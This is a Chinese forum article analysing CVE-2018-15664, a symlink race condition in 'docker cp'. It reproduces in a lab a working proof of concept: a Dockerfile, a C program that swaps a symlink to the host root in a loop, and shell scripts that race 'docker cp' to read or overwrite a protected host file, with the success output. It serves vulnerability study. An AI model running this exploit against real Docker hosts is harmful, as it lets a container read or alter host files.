本文为看雪论坛优秀文章
看雪论坛作者ID:ZxyNull
来自SUSE的安全专家Aleksa Sarai公布了编号为CVE-2018-15664的docker相关高危安全漏洞,该漏洞的CVSS评分为8.7,影响面涵盖所有docker 18.06.0-ce-rc2之前发行版本,该漏洞的根因是使用FollowSymlinkInScope函数时触发TOCTTOU(time-of-check-to-time-of-use) 文件系统的竞争条件缺陷引起的。
docker cp container_id:file_path_in_container host_path
#实例
docker cp 0cd4d9d94de2:/Test.java /Test.java
ln -s targrt_path link_path
#安装Metarget
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip install -r requirements.txt
#一键部署漏洞环境
./metarget cnv install cve-2018-15664
#完成后查看docker版本
[email protected]:/home# docker --version
Docker version 18.03.1-ce, build 9ee9f40
.
├── build
│ ├── Dockerfile
│ └── symlink_swap.c
├── run_read.sh
└── run_write.sh
# Build the binary.
FROM opensuse/leap
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c
# Set up our malicious rootfs.
FROM opensuse/leap
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
#define usage() \
do { printf("usage: symlink_swap <symlink>\n"); exit(1); } while(0)
#define bail(msg) \
do { perror("symlink_swap: " msg); exit(1); } while (0)
/* No glibc wrapper for this, so wrap it ourselves. */
#define RENAME_EXCHANGE (1 << 1)
/*int renameat2(int olddirfd, const char *oldpath,
int newdirfd, const char *newpath, int flags)
{
return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}*/
/* usage: symlink_swap <symlink> */
int main(int argc, char **argv)
{
if (argc != 2)
usage();
char *symlink_path = argv[1];
char *stash_path = NULL;
if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)
bail("create stash_path");
/* Create a dummy file at symlink_path. */
struct stat sb = {0};
if (!lstat(symlink_path, &sb)) {
int err;
if (sb.st_mode & S_IFDIR)
err = rmdir(symlink_path);
else
err = unlink(symlink_path);
if (err < 0)
bail("unlink symlink_path");
}
/*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");
/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = renameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# 创建flag
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"
# 构建镜像并运行容器
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
# 不断执行docker cp命令
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx + 1))
done
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# 创建flag
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
# 构建镜像并运行容器
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
# 不断执行docker cp命令
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
FAILED -- HOST FILE UNCHANGED
SUCCESS -- HOST FILE CHANGED
源码 docker-ce-18.13.1-ce
// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
path, err := filepath.Abs(filepath.FromSlash(path))
if err != nil {
return "", err
}
root, err = filepath.Abs(filepath.FromSlash(root))
if err != nil {
return "", err
}
return evalSymlinksInScope(path, root)
}
TOCTTOU相关知识
docker cp 官方文档
POC
其他分析报告
Metarget 开源地址
了解Dockerfile
看雪ID:ZxyNull
https://bbs.pediy.com/user-home-921173.htm
# 往期推荐
1.万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)
3.一种新的Android Runtime环境仿真及调试方法
球分享
球点赞
球在看
点击“阅读原文”,了解更多!